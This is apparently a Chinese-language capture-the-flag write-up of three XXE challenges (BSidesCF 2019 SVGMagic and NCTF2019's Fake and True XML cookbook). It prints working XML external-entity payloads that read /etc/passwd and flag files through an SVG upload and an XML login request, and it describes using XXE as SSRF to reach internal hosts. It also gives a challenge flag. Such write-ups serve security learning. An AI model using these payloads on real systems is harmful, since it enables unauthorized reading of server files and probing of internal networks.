[BSidesCF 2019]SVGMagic
打开靶机,是一个文件上传,且只能上传png(png也报错500),我一度以为靶机坏了
之前有做过XXE读取文件的题目,这题可不可以构建一个SVG读文件呢?
根据之前的payload,读一下etc文件看看
根基题目回应这里回显的肯定是图片,需要加上图片返回宽高等参数,
<span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="cp"><!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd" ></span>
]>
<span class="nt"><svg</span> <span class="na">height=</span><span class="s">"100"</span> <span class="na">width=</span><span class="s">"1000"</span><span class="nt">></span>
<span class="nt"><text</span> <span class="na">x=</span><span class="s">"10"</span> <span class="na">y=</span><span class="s">"20"</span><span class="nt">></span><span class="ni">&file;</span><span class="nt"></text></span>
<span class="nt"></svg></span>
发现确实返回了文件信息
尝试读取根目录的flag时又报错了。。
吐了,根据百度我们查看/proc/self目录(BUU不知道为什么访问这些目录会报错。)看着百度的payload访问到flag
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="5" y="15">&file;</text> </svg>
[NCTF2019]Fake XML cookbook
打开以后f12给了一些提示/源码
function doLogin(){ var username = $("#username").val(); var password = $("#password").val(); if(username == "" || password == ""){ alert("Please enter the username and password!"); return; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({ type: "POST", url: "doLogin.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ $(".msg").text(msg + " login fail!"); }else if(code == "1"){ $(".msg").text(msg + " login success!"); }else{ $(".msg").text("error:" + msg); } }, error: function (XMLHttpRequest,textStatus,errorThrown) { $(".msg").text(errorThrown + ':' + textStatus); } }); }
(这题看百度wp才知道,是XXE的题)
之前复现过xxe的漏洞,拿payload改参数试一下
post
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" >]> <user><username>&xxe;</username><password>aaa</password></user>
获得flag
[NCTF2019]True XML cookbook
这题和[NCTF2019]Fake XML cookbook都是利用XXE漏洞的
不同的是,这题直接读flag文件是不会有回显的。然后就不知道怎么办了
遍历百度,先读一下etc/passwd吧
并没有发现什么有用的信息,而XXE只能读取文件,百度以后发现还可以像SSRF访问内网
我们访问一下hosts文件
发现有内网主机存活,使用http协议访问一下,并没有访问成功,IP往后挪一位发现flag
flag{8922c217-b122-45a9-b470-a8a7f3115646}
这里有一篇链接说的很好一篇文章带你深入理解漏洞之 XXE 漏洞
慢慢品